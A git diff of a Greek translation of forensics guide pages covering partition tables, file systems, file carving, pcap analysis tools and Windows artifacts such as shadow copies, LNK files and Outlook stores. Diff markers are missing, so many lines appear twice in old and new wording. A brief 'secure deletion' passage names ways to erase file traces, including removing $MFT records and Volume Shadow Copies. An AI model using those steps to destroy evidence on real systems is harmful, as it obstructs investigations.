**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον προσδιορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστή, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής.
### GPT (Πίνακας Κατατμήσεων GUID)
Ο Πίνακας Κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακρίνεται για τον **παγκοσμίως μοναδικό αναγνωριστή** για τις κατατμήσεις, το GPT ξεχωρίζει με αρκετούς τρόπους:
Ο Πίνακας Κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακρίνεται για τον **παγκοσμίως μοναδικό αναγνωριστικό** για τις κατατμήσεις, το GPT ξεχωρίζει με αρκετούς τρόπους:
- **Τοποθεσία και Μέγεθος**: Και οι GPT και MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR.
- **Όρια Κατατμήσεων**: Το GPT υποστηρίζει έως **128 κατατμήσεις** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων.
@ -73,11 +73,11 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
- **Πλεονασμός**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει τα δεδομένα κατατμήσεων και εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
- **Έλεγχος Κυκλικής Πλεοναστικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων και, όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου.
- **Έλεγχος Κυκλικής Πλεονασμού (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου.
**Προστατευτικό MBR (LBA0)**:
- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους σε GPT.
- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους που είναι μορφοποιημένοι σε GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
@ -85,7 +85,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα του **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte.
Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση με βάση το GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte.
**Κεφαλίδα πίνακα κατατμήσεων (LBA 1)**
@ -104,7 +104,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) |
| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατατμήσεις (τελευταίο LBA κύριου πίνακα κατατμήσεων + 1) |
| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατατμήσεων 1) |
| 56 (0x38) | 16 bytes | Disk GUID σε μικτό endian |
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian |
| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατατμήσεων (πάντα 2 στην κύρια αντιγραφή) |
| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατατμήσεων στον πίνακα |
| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατατμήσεων (συνήθως 80h ή 128) |
@ -153,7 +153,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων:
- **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12 bit και χειριζόμενο έως 4078 clusters (4084 με UNIX).
- **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις clusters και χειρίζεται έως 4078 clusters (4084 με UNIX).
- **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters.
- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
@ -164,7 +164,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
- **Χαρακτηριστικά**
- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
- **Διεύθυνση Πίνακα FAT** (υποδεικνύει το αρχικό cluster του αρχείου)
- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου)
- **Μέγεθος Αρχείου**
### EXT
@ -189,9 +189,9 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### Καταγεγραμμένα Διαγραμμένα Αρχεία
Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο εξακολουθεί να είναι αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σηματοδοτεί ως διαγραμμένο, αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατόν να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία.
Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σηματοδοτεί ως διαγραμμένο, αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατό να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατό να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες.
{{#ref}}
file-data-carving-recovery-tools.md
@ -199,9 +199,9 @@ file-data-carving-recovery-tools.md
### **File Carving**
**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό.
**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία μέσα σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Εάν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον ένα μέρος του.
Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε.
@ -209,9 +209,9 @@ file-data-carving-recovery-tools.md
file-data-carving-recovery-tools.md
{{#endref}}
### Κατασκευή Ροής Δεδομένων
### Data Stream **C**arving
Η Κατασκευή Ροής Δεδομένων είναι παρόμοια με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\
Data Stream Carving είναι παρόμοιο με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\
Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs.
{{#ref}}
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
### Ασφαλής Διαγραφή
Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατόν να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\
Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμη καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογίας είναι να τις βρει.
Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατό να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\
Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογίας είναι να τις βρει.
## Αναφορές

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε κάποια άλλα εργαλεία.
> [!TIP]
> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε άλλα εργαλεία.
## Online tools for pcaps
- Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Αν η κεφαλίδα του pcap είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Εξαγάγετε **πληροφορίες** και αναζητήστε **malware** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com)
- Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας [**www.virustotal.com**](https://www.virustotal.com) και [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
- **Πλήρης ανάλυση pcap από τον περιηγητή στο** [**https://apackets.com/**](https://apackets.com/)
@ -18,11 +18,12 @@
### Wireshark
> [!NOTE]
> [!TIP]
> **Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει βασικά να ξέρετε πώς να χρησιμοποιείτε το Wireshark**
Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο:
{{#ref}}
wireshark-tricks.md
{{#endref}}
@ -35,7 +36,7 @@ wireshark-tricks.md
[**Xplico** ](https://github.com/xplico/xplico)_(μόνο linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξαγάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλα τα περιεχόμενα HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ.
**Εγκατάσταση**
**Εγκαταστήστε**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
@ -47,9 +48,9 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
Η πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_
Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
Στη συνέχεια, δημιουργήστε μια **νέα υπόθεση**, δημιουργήστε μια **νέα συνεδρία** μέσα στην υπόθεση και **ανεβάστε το pcap** αρχείο.
Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
### NetworkMiner
@ -67,7 +68,7 @@ sudo apt-get install xplico
- Εξαγωγή κατακερματισμένων κωδικών αυθεντικοποίησης και σπάσιμο τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου & χρήστες)
- Εξαγωγή ερωτημάτων DNS
- Ανακατασκευή όλων των TCP & UDP Συνεδριών
- Ανακατασκευή όλων των TCP & UDP συνεδριών
- File Carving
### Capinfos
@ -76,7 +77,7 @@ capinfos capture.pcap
```
### Ngrep
Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε το **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα:
Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
@ -96,7 +97,7 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
### Suricata
**Εγκατάσταση και ρύθμιση**
**Install and setup**
```
apt-get install suricata
apt-get install oinkmaster
@ -127,7 +128,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν τις έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης.
> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης ένα ευρύ φάσμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης.
Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστεί να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου οι **πληροφορίες** σχετικά με τα pcaps είναι.
@ -200,14 +201,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs
```
## Άλλες τεχνικές ανάλυσης pcap
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}

View File

@ -1,39 +1,50 @@
# Τεχνικές για Συγκεκριμένα Λογισμικά/Τύπους Αρχείων
{{#include ../../../banners/hacktricks-training.md}}
Εδώ μπορείτε να βρείτε ενδιαφέροντα κόλπα για συγκεκριμένους τύπους αρχείων και/ή λογισμικό:
Εδώ μπορείτε να βρείτε ενδιαφέρουσες τεχνικές για συγκεκριμένους τύπους αρχείων και/ή λογισμικό:
{{#ref}}
.pyc.md
{{#endref}}
{{#ref}}
browser-artifacts.md
{{#endref}}
{{#ref}}
desofuscation-vbs-cscript.exe.md
{{#endref}}
{{#ref}}
local-cloud-storage.md
{{#endref}}
{{#ref}}
office-file-analysis.md
{{#endref}}
{{#ref}}
pdf-file-analysis.md
{{#endref}}
{{#ref}}
png-tricks.md
{{#endref}}
{{#ref}}
video-and-audio-file-analysis.md
{{#endref}}
{{#ref}}
zips-tricks.md
{{#endref}}

View File

@ -38,15 +38,15 @@
```
![](<../../../images/image (495) (1) (1) (1).png>)
### Αντίγραφα Σκιάς
### Αντίγραφα Σκιάς Όγκου
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή τόμων υπολογιστή, ακόμη και όταν είναι σε χρήση.
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση.
Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα:
![](<../../../images/image (94).png>)
Τοποθετώντας την εικόνα ψηφιακής εγκληματολογίας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς.
Τοποθετώντας την εικόνα ψηφιακής ποινικής έρευνας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς.
![](<../../../images/image (576).png>)
@ -73,9 +73,9 @@
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο.
Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι **αρχείο** **ή** **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες τόμου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί.
Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι **αρχείο** **ή** **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί.
Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο χρησιμοποιήθηκε **πρώτη** **φορά** και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Επίσης, η **ημερομηνία δημιουργίας του αρχείου σύνδεσης** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/).
@ -96,7 +96,7 @@
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
In this case, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV.
Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV.
### Jumplists
@ -122,8 +122,8 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα
Είναι δυνατόν να προσδιοριστεί ότι μια συσκευή USB χρησιμοποιήθηκε χάρη στη δημιουργία:
- Φακέλου Πρόσφατων Windows
- Φακέλου Πρόσφατων Microsoft Office
- Φάκελος Πρόσφατων Windows
- Φάκελος Πρόσφατων Microsoft Office
- Jumplists
Σημειώστε ότι κάποια αρχεία LNK αντί να δείχνουν στο αρχικό μονοπάτι, δείχνουν στο φάκελο WPDNSE:
@ -150,7 +150,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα
### Καθαρισμός Plug and Play
Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή.
Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή.
Η εργασία βρίσκεται στο εξής μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
@ -181,7 +181,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα
### Windows Mail App
Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στο `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`.
Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους μέσα στο `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`.
Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
@ -196,7 +196,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα
- `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος.
- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;)
Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST στο:
Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/παραληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST στο:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
@ -209,7 +209,7 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα
### Microsoft Outlook OST Files
Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορεί να χρησιμοποιηθεί ο [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
